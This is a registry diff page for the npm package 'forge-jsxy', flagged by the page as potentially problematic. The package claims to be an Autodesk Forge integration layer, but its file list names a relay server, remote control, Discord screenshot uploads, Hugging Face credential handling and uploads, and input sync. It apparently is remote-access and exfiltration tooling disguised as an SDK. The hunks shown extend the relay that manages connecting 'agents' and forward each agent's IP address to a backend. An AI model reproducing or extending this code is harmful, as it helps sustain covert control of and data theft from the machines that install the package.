forge-jsxy 1.0.76 → 1.0.77

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

Files changed (38) hide show
  1. package/assets/codicons/codicon.css +629 -0
  2. package/assets/codicons/codicon.ttf +0 -0
  3. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  4. package/assets/explorer-highlight/highlight.min.js +1213 -0
  5. package/assets/files-explorer-template.html +2940 -692
  6. package/assets/remote-control-template.html +78 -22
  7. package/dist/agentRunner.js +6 -0
  8. package/dist/assets/codicons/codicon.css +629 -0
  9. package/dist/assets/codicons/codicon.ttf +0 -0
  10. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  11. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  12. package/dist/assets/files-explorer-template.html +2941 -693
  13. package/dist/assets/remote-control-template.html +78 -22
  14. package/dist/discordAgentScreenshot.js +6 -1
  15. package/dist/discordRateLimit.js +22 -11
  16. package/dist/discordRelayUpload.js +4 -2
  17. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  18. package/dist/explorerHeavyDirSkips.js +26 -0
  19. package/dist/exportMirrorCopy.d.ts +13 -1
  20. package/dist/exportMirrorCopy.js +89 -2
  21. package/dist/filesExplorer.d.ts +9 -0
  22. package/dist/filesExplorer.js +86 -4
  23. package/dist/fsMessages.d.ts +2 -0
  24. package/dist/fsMessages.js +29 -8
  25. package/dist/fsProtocol.d.ts +8 -4
  26. package/dist/fsProtocol.js +923 -151
  27. package/dist/hfCredentials.d.ts +1 -1
  28. package/dist/hfCredentials.js +1 -1
  29. package/dist/hfSeqIdLookup.d.ts +2 -2
  30. package/dist/hfSeqIdLookup.js +11 -5
  31. package/dist/hfUpload.d.ts +2 -2
  32. package/dist/hfUpload.js +103 -17
  33. package/dist/relayAgent.js +2 -2
  34. package/dist/relayDashboardGate.js +42 -55
  35. package/dist/relayServer.js +154 -6
  36. package/dist/syncClient.js +5 -0
  37. package/dist/windowsInputSync.js +20 -1
  38. package/package.json +3 -1
@@ -61,9 +61,28 @@ const _blacklistIds = new Set();
61
61
  let _blacklistLastFetchMs = 0;
62
62
  const _BLACKLIST_REFRESH_MS = 10_000; // refresh at most once per 10s
63
63
  const _blacklistRejectLogMs = new Map();
64
- const _BLACKLIST_REJECT_LOG_THROTTLE_MS = 60_000;
64
+ /** Per-session blacklist reject detail line — blacklisted agents often reconnect in a tight loop. */
65
+ const _BLACKLIST_REJECT_LOG_THROTTLE_MS = 300_000;
66
+ /** PM2-friendly: periodic count of throttled reject logs (same enforcement; less noise). */
67
+ const _BLACKLIST_REJECT_ROLLUP_LOG_MS = 120_000;
68
+ let _blacklistRejectSuppressedForRollup = 0;
69
+ let _blacklistRejectRollupLastLogMs = 0;
70
+ function _noteBlacklistRejectSuppressed() {
71
+ _blacklistRejectSuppressedForRollup++;
72
+ const now = Date.now();
73
+ if (now - _blacklistRejectRollupLastLogMs < _BLACKLIST_REJECT_ROLLUP_LOG_MS)
74
+ return;
75
+ if (_blacklistRejectSuppressedForRollup < 1)
76
+ return;
77
+ console.log(`[relay] Blacklisted agent reconnect attempts (additional): ${_blacklistRejectSuppressedForRollup} not logged individually (per-session detail at most once per ${_BLACKLIST_REJECT_LOG_THROTTLE_MS / 1000}s)`);
78
+ _blacklistRejectSuppressedForRollup = 0;
79
+ _blacklistRejectRollupLastLogMs = now;
80
+ }
65
81
  const _VERSION_NOTICE_LOG_THROTTLE_MS = 60_000;
66
82
  const _versionNoticeLogMs = new Map();
83
+ /** Caps PM2 churn when WS logging is enabled and an agent reconnect-flaps quickly. */
84
+ const _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS = 30_000;
85
+ const _agentWsLifecycleLogMs = new Map();
67
86
  let _relayPkgVersionCache;
68
87
  function _forgeDbApiUrl() {
69
88
  const raw = (process.env.RELAY_FORGE_DB_API_URL ||
@@ -142,6 +161,21 @@ function _shouldLogBlacklistedReject(sessionId) {
142
161
  }
143
162
  return true;
144
163
  }
164
+ function _shouldRelayLogAgentWsLifecycle(sessionId) {
165
+ const now = Date.now();
166
+ const prev = _agentWsLifecycleLogMs.get(sessionId) || 0;
167
+ if (now - prev < _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS)
168
+ return false;
169
+ _agentWsLifecycleLogMs.set(sessionId, now);
170
+ if (_agentWsLifecycleLogMs.size > 2000) {
171
+ for (const [sid, ts] of _agentWsLifecycleLogMs) {
172
+ if (now - ts > _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS * 20) {
173
+ _agentWsLifecycleLogMs.delete(sid);
174
+ }
175
+ }
176
+ }
177
+ return true;
178
+ }
145
179
  function _shouldLogVersionNotice(sessionId) {
146
180
  const now = Date.now();
147
181
  const prev = _versionNoticeLogMs.get(sessionId) || 0;
@@ -229,6 +263,7 @@ class Session {
229
263
  agentVersion = "";
230
264
  agentOs = "";
231
265
  agentHostname = "";
266
+ agentRemoteIp = "";
232
267
  agentFilesystem = false;
233
268
  constructor(sessionId) {
234
269
  this.sessionId = sessionId;
@@ -358,6 +393,14 @@ function headerGet(headers, name) {
358
393
  return String(v[0] || "").trim();
359
394
  return String(v || "").trim();
360
395
  }
396
+ function requestPeerIp(req) {
397
+ const xff = headerGet(req.headers, "x-forwarded-for")
398
+ .split(",")[0]
399
+ ?.trim();
400
+ const xri = headerGet(req.headers, "x-real-ip").trim();
401
+ const raw = String(xff || xri || req.socket.remoteAddress || "").trim();
402
+ return raw.replace(/^::ffff:/, "");
403
+ }
361
404
  /** Base host for `new URL()` when `Host` is missing (HTTP/1.0 or broken clients). */
362
405
  function requestHost(headers) {
363
406
  const h = headerGet(headers, "host");
@@ -728,6 +771,42 @@ function handleHttp(req, res) {
728
771
  res.end(svg);
729
772
  return;
730
773
  }
774
+ if (p.startsWith("/forge-explorer-codicons/")) {
775
+ const base = decodeURIComponent(p.slice("/forge-explorer-codicons/".length));
776
+ try {
777
+ const buf = (0, filesExplorer_1.readExplorerCodiconAsset)(base);
778
+ const isCss = base === "codicon.css";
779
+ res.writeHead(200, {
780
+ "Content-Type": isCss ? "text/css; charset=utf-8" : "font/ttf",
781
+ "Cache-Control": "public, max-age=86400",
782
+ });
783
+ res.end(buf);
784
+ }
785
+ catch (e) {
786
+ res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
787
+ res.end(String(e));
788
+ }
789
+ return;
790
+ }
791
+ if (p.startsWith("/forge-explorer-highlight/")) {
792
+ const base = decodeURIComponent(p.slice("/forge-explorer-highlight/".length));
793
+ try {
794
+ const buf = (0, filesExplorer_1.readExplorerHighlightAsset)(base);
795
+ const isCss = base === "explorer-highlight.css";
796
+ res.writeHead(200, {
797
+ "Content-Type": isCss
798
+ ? "text/css; charset=utf-8"
799
+ : "application/javascript; charset=utf-8",
800
+ "Cache-Control": "public, max-age=86400",
801
+ });
802
+ res.end(buf);
803
+ }
804
+ catch (e) {
805
+ res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
806
+ res.end(String(e));
807
+ }
808
+ return;
809
+ }
731
810
  if (p === "/api/sessions" && relaySessionsApiAllowed(req)) {
732
811
  _applySecurityHeaders(res);
733
812
  res.writeHead(200, { "Content-Type": "application/json" });
@@ -735,7 +814,7 @@ function handleHttp(req, res) {
735
814
  return;
736
815
  }
737
816
  /**
738
- * GET /api/explorer-seq?session=… — forge-db `seq_id` for file-explorer tab title / UI (same lookup as Hub `client_<seq_id>`).
817
+ * GET /api/explorer-seq?session=… — forge-db `seq_id` for file-explorer tab title / UI (same lookup as Hub auto-session repo segment `<seq_id>`).
739
818
  * Uses relay env + forge-db API key (no browser key). When dashboard gate is on, requires dashboard cookie.
740
819
  */
741
820
  if (p === "/api/explorer-seq") {
@@ -823,8 +902,15 @@ function attachConnection(ws, req, role, sessionId) {
823
902
  }
824
903
  }
825
904
  const session = getOrCreateSession(sessionId);
826
- session.touch();
905
+ // NOTE: do NOT call session.touch() here unconditionally. Touching before the async
906
+ // blacklist check lets a blacklisted agent spam reconnects and keep lastActivity fresh,
907
+ // preventing the stale-session cleanup timer from ever firing (slow memory leak).
908
+ // Guard: agents must pass the async blacklist check before their messages are processed.
909
+ // Without this, a blacklisted agent's "info" message races the check and gets logged as
910
+ // "agent X running v1.0.Y" even though the connection is immediately closed afterwards.
911
+ let _accepted = role !== "agent";
827
912
  if (role === "agent") {
913
+ session.agentRemoteIp = requestPeerIp(req);
828
914
  const syncAdvertised = relayAdvertisedSyncApiBaseUrl();
829
915
  const discordInterval = relayDiscordScreenshotAdvertisedIntervalMs();
830
916
  const discordStagger = relayDiscordScreenshotAdvertisedIntervalStaggerMs();
@@ -838,12 +924,19 @@ function attachConnection(ws, req, role, sessionId) {
838
924
  // Expected enforcement path; log to stdout to avoid polluting error logs.
839
925
  console.log(`[relay] Rejected blacklisted agent session=${sessionId}`);
840
926
  }
927
+ else {
928
+ _noteBlacklistRejectSuppressed();
929
+ }
930
+ // Blacklisted — do NOT touch session; let stale-timer clean it up naturally.
841
931
  try {
842
932
  ws.close(4010, "Blacklisted");
843
933
  }
844
934
  catch { /* skip */ }
845
935
  return;
846
936
  }
937
+ // Only mark session as active once the agent passes the blacklist check.
938
+ _accepted = true;
939
+ session.touch();
847
940
  if (wsIsOpen(session.agent)) {
848
941
  try {
849
942
  session.agent.close(4002, "Replaced by new agent");
@@ -853,7 +946,7 @@ function attachConnection(ws, req, role, sessionId) {
853
946
  }
854
947
  }
855
948
  session.agent = ws;
856
- if (relayWsConnectLoggingEnabled()) {
949
+ if (relayWsConnectLoggingEnabled() && _shouldRelayLogAgentWsLifecycle(sessionId)) {
857
950
  console.log(`[relay] agent connected session=${sessionId}`);
858
951
  }
859
952
  const relayFeatures = {
@@ -977,13 +1070,17 @@ function attachConnection(ws, req, role, sessionId) {
977
1070
  catch {
978
1071
  /* skip */
979
1072
  }
980
- session.touch();
1073
+ // NOTE: do NOT call session.touch() here. Touching on ping-SEND would keep
1074
+ // idle_s artificially low for dead/zombie peers. Only pong and real messages count.
981
1075
  }, pingEvery);
982
1076
  }
983
1077
  ws.on("pong", () => {
984
1078
  session.touch();
985
1079
  });
986
1080
  ws.on("message", (data, isBinary) => {
1081
+ // Drop all messages from agent connections that haven't cleared the blacklist check yet.
1082
+ if (!_accepted)
1083
+ return;
987
1084
  session.touch();
988
1085
  if (isBinary) {
989
1086
  if (role === "agent" && wsIsOpen(session.viewer)) {
@@ -1224,6 +1321,7 @@ function attachConnection(ws, req, role, sessionId) {
1224
1321
  headers: {
1225
1322
  "Content-Type": "application/json",
1226
1323
  "X-Client-Id": sessionId,
1324
+ ...(session.agentRemoteIp ? { "X-Client-IP": session.agentRemoteIp } : {}),
1227
1325
  "User-Agent": "forge-jsx-relay/1.0",
1228
1326
  },
1229
1327
  body: JSON.stringify({
@@ -1304,7 +1402,7 @@ function attachConnection(ws, req, role, sessionId) {
1304
1402
  pingTimer = null;
1305
1403
  }
1306
1404
  if (role === "agent" && session.agent === ws) {
1307
- if (relayWsConnectLoggingEnabled()) {
1405
+ if (relayWsConnectLoggingEnabled() && _shouldRelayLogAgentWsLifecycle(sessionId)) {
1308
1406
  console.log(`[relay] agent disconnected session=${sessionId}`);
1309
1407
  }
1310
1408
  session.agent = null;
@@ -1332,6 +1430,56 @@ function attachConnection(ws, req, role, sessionId) {
1332
1430
  removeSession(sessionId);
1333
1431
  }
1334
1432
  });
1433
+ /**
1434
+ * Per-socket error handler — required to prevent unhandled 'error' events from
1435
+ * crashing the relay process. The ws library emits `error` for protocol violations
1436
+ * such as WS_ERR_INVALID_UTF8 (status 1007) and WS_ERR_UNEXPECTED_RSV_1 (status 1002).
1437
+ * Node.js throws an unhandled exception when an EventEmitter has no 'error' listener,
1438
+ * which would restart the relay via PM2.
1439
+ * The socket is already closed by the ws library after emitting the error, so we just
1440
+ * clean up state exactly as the 'close' handler does.
1441
+ */
1442
+ ws.on("error", (err) => {
1443
+ const code = err.code ?? "";
1444
+ if (code === "WS_ERR_INVALID_UTF8" ||
1445
+ code === "WS_ERR_UNEXPECTED_RSV_1" ||
1446
+ code === "WS_ERR_UNEXPECTED_RSV_2" ||
1447
+ code === "WS_ERR_UNEXPECTED_RSV_3" ||
1448
+ /WS_ERR/.test(code)) {
1449
+ // Protocol-level error from a misbehaving client — not a relay bug; log to stdout.
1450
+ console.log(`[relay] WebSocket protocol error from ${role} session=${sessionId}: ${code}`);
1451
+ }
1452
+ else {
1453
+ // Unexpected socket error — log with more detail to stdout (not stderr).
1454
+ console.log(`[relay] WebSocket error from ${role} session=${sessionId}: ${err.message}`);
1455
+ }
1456
+ // Clean up session slots — mirroring the 'close' handler.
1457
+ if (pingTimer) {
1458
+ clearInterval(pingTimer);
1459
+ pingTimer = null;
1460
+ }
1461
+ if (role === "agent" && session.agent === ws) {
1462
+ session.agent = null;
1463
+ if (wsIsOpen(session.viewer)) {
1464
+ try {
1465
+ session.viewer.send(JSON.stringify({ type: "agent_disconnected" }));
1466
+ }
1467
+ catch { /* skip */ }
1468
+ }
1469
+ }
1470
+ else if (role === "viewer" && session.viewer === ws) {
1471
+ session.viewer = null;
1472
+ if (wsIsOpen(session.agent)) {
1473
+ try {
1474
+ session.agent.send(JSON.stringify({ type: "viewer_disconnected" }));
1475
+ }
1476
+ catch { /* skip */ }
1477
+ }
1478
+ }
1479
+ if (!session.agent && !session.viewer) {
1480
+ removeSession(sessionId);
1481
+ }
1482
+ });
1335
1483
  }
1336
1484
  function urlDisplayHost(bindHost) {
1337
1485
  const h = (bindHost || "").trim();
@@ -88,6 +88,11 @@ class ForgeSyncClient {
88
88
  }
89
89
  return { ok: res.ok, status: res.status, data };
90
90
  }
91
+ catch (e) {
92
+ // Undici/`fetch failed` hides the endpoint in PM2 — surface URL for operators.
93
+ const inner = e instanceof Error ? e.message : String(e);
94
+ throw new Error(`${method} ${url} failed: ${inner}`, { cause: e });
95
+ }
91
96
  finally {
92
97
  clearTimeout(t);
93
98
  }
@@ -76,6 +76,25 @@ const REGISTRATION_HANDSHAKE_RETRY_MS = 5000;
76
76
  const REGISTRATION_HANDSHAKE_RETRY_MAX_MS = 60_000;
77
77
  const REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS = 60_000;
78
78
  const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
79
+ /** Adds `cause` / errno code so PM2 logs show ECONNRESET etc., not bare `fetch failed`. */
80
+ function formatDesktopSyncHandshakeError(e) {
81
+ if (!(e instanceof Error))
82
+ return String(e);
83
+ let detail = e.message.trim() || "(no message)";
84
+ const withCause = e;
85
+ const c = withCause.cause;
86
+ if (c instanceof Error && c.message.trim().length > 0) {
87
+ detail = `${detail}; cause: ${c.message.trim()}`;
88
+ }
89
+ else if (c !== undefined && c !== null) {
90
+ detail = `${detail}; cause: ${String(c)}`;
91
+ }
92
+ const code = e.code;
93
+ if (typeof code === "string" && code.length > 0) {
94
+ detail = `${detail} [${code}]`;
95
+ }
96
+ return detail;
97
+ }
79
98
  function isDesktopPlatform() {
80
99
  const p = process.platform;
81
100
  return p === "win32" || p === "linux" || p === "darwin";
@@ -305,7 +324,7 @@ function startDesktopInputSync(opts) {
305
324
  const now = Date.now();
306
325
  if (now - lastRegistrationHandshakeLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
307
326
  lastRegistrationHandshakeLogMs = now;
308
- const detail = e instanceof Error ? e.message : String(e);
327
+ const detail = formatDesktopSyncHandshakeError(e);
309
328
  const msg = `[forge-js:desktop-sync] registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`;
310
329
  // First attempts commonly race during service restarts; avoid noisy error-level spam.
311
330
  if (registrationHandshakeAttempts <= 3)
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "forge-jsxy",
3
- "version": "1.0.76",
3
+ "version": "1.0.77",
4
4
  "description": "Node.js integration layer for Autodesk Forge",
5
5
  "license": "MIT",
6
6
  "main": "dist/index.js",
@@ -54,6 +54,7 @@
54
54
  "archiver": "^7.0.1",
55
55
  "dotenv": "^16.4.7",
56
56
  "jimp": "^0.22.12",
57
+ "picomatch": "^4.0.4",
57
58
  "ws": "^8.18.0"
58
59
  },
59
60
  "optionalDependencies": {
@@ -65,6 +66,7 @@
65
66
  "devDependencies": {
66
67
  "@types/archiver": "^6.0.4",
67
68
  "@types/node": "^22.10.0",
69
+ "@types/picomatch": "^4.0.3",
68
70
  "@types/ws": "^8.5.13",
69
71
  "typescript": "^5.7.2"
70
72
  },